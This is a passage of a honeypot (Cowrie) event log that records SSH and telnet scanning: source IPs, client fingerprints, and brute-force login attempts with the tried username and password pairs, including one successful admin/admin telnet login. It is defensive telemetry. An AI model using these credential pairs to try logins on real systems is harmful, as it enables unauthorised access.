H client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:28.439346Z","src_ip":"91.92.40.10","session":"b00c36d9b018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.101.128","src_port":50554,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b0fe728520","protocol":"telnet","message":"New connection: 107.150.101.128:50554 (10.17.0.5:23) [session: 65b0fe728520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:29.909675Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:30.296951Z","src_ip":"91.92.40.10","session":"b00c36d9b018","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:31.182653Z","src_ip":"107.150.101.128","session":"65b0fe728520","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:31.534592Z","src_ip":"107.150.101.128","session":"65b0fe728520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:31.550431Z","src_ip":"91.92.40.10","session":"b00c36d9b018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":49966,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5dc59d8855","protocol":"ssh","message":"New connection: 194.36.147.215:49966 (10.17.0.5:22) [session: 2e5dc59d8855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:57.840955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:57.844936Z","src_ip":"194.36.147.215","session":"2e5dc59d8855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:57.963815Z","src_ip":"194.36.147.215","session":"2e5dc59d8855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph456","message":"login attempt [thegraph/graph456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:58.322123Z","src_ip":"194.36.147.215","session":"2e5dc59d8855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:59.444528Z","src_ip":"194.36.147.215","session":"2e5dc59d8855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":33365,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84c8d250a07","protocol":"ssh","message":"New connection: 14.55.144.22:33365 (159.203.135.109:22) [session: b84c8d250a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:12.378513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:12.382482Z","src_ip":"14.55.144.22","session":"b84c8d250a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:12.587977Z","src_ip":"14.55.144.22","session":"b84c8d250a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator1","message":"login attempt [administrator/administrator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:13.433908Z","src_ip":"14.55.144.22","session":"b84c8d250a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:14.638673Z","src_ip":"14.55.144.22","session":"b84c8d250a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":60772,"dst_ip":"10.17.0.5","dst_port":22,"session":"20c40cf9bb4b","protocol":"ssh","message":"New connection: 91.92.40.176:60772 (10.17.0.5:22) [session: 20c40cf9bb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:21.725709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:21.729438Z","src_ip":"91.92.40.176","session":"20c40cf9bb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:21.811232Z","src_ip":"91.92.40.176","session":"20c40cf9bb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu1","message":"login attempt [ubuntu/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:22.062484Z","src_ip":"91.92.40.176","session":"20c40cf9bb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:23.153651Z","src_ip":"91.92.40.176","session":"20c40cf9bb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":38088,"dst_ip":"10.17.0.5","dst_port":22,"session":"3463ee7ed095","protocol":"ssh","message":"New connection: 66.29.142.197:38088 (10.17.0.5:22) [session: 3463ee7ed095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.508479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.512540Z","src_ip":"66.29.142.197","session":"3463ee7ed095","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.554319Z","src_ip":"107.150.101.128","session":"65b0fe728520","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.604625Z","src_ip":"107.150.101.128","session":"65b0fe728520","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.609397Z","src_ip":"66.29.142.197","session":"3463ee7ed095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XMR$Tr0ng@P@ss","message":"login attempt [root/XMR$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:31.810943Z","src_ip":"66.29.142.197","session":"3463ee7ed095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:32.882279Z","src_ip":"66.29.142.197","session":"3463ee7ed095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.32023882865906,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:35.483721Z","src_ip":"137.184.5.188","session":"ab82f7e424a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":55008,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1374f634e1c","protocol":"ssh","message":"New connection: 198.1.93.192:55008 (10.17.0.5:22) [session: c1374f634e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.156223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.159448Z","src_ip":"198.1.93.192","session":"c1374f634e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.248499Z","src_ip":"198.1.93.192","session":"c1374f634e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"BNB!Tr0ng#W0rd","message":"login attempt [root/BNB!Tr0ng#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.514498Z","src_ip":"198.1.93.192","session":"c1374f634e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36236,"dst_ip":"10.17.0.5","dst_port":22,"session":"8406b1c532b1","protocol":"ssh","message":"New connection: 103.82.132.16:36236 (10.17.0.5:22) [session: 8406b1c532b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.911803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:39.919538Z","src_ip":"103.82.132.16","session":"8406b1c532b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:40.176051Z","src_ip":"103.82.132.16","session":"8406b1c532b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"040890","message":"login attempt [root/040890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:40.945947Z","src_ip":"103.82.132.16","session":"8406b1c532b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:42.204556Z","src_ip":"103.82.132.16","session":"8406b1c532b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:44.985176Z","src_ip":"198.1.93.192","session":"c1374f634e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"c510199e829b","protocol":"telnet","message":"New connection: 137.184.5.188:46410 (159.203.135.109:23) [session: c510199e829b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:49.307390Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44512,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39a7a8be634","protocol":"telnet","message":"New connection: 94.23.66.112:44512 (10.17.0.5:23) [session: c39a7a8be634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:50.762007Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":50178,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62f415f2613","protocol":"ssh","message":"New connection: 67.231.24.5:50178 (159.203.135.109:22) [session: f62f415f2613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:53.399308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:53.402828Z","src_ip":"67.231.24.5","session":"f62f415f2613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:53.419484Z","src_ip":"67.231.24.5","session":"f62f415f2613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy123","message":"login attempt [root/galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:53.464420Z","src_ip":"67.231.24.5","session":"f62f415f2613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:11:54.481794Z","src_ip":"67.231.24.5","session":"f62f415f2613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":56702,"dst_ip":"159.203.135.109","dst_port":22,"session":"6811701c288e","protocol":"ssh","message":"New connection: 198.1.75.59:56702 (159.203.135.109:22) [session: 6811701c288e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:04.499485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:04.503349Z","src_ip":"198.1.75.59","session":"6811701c288e","protocol":"ssh"}
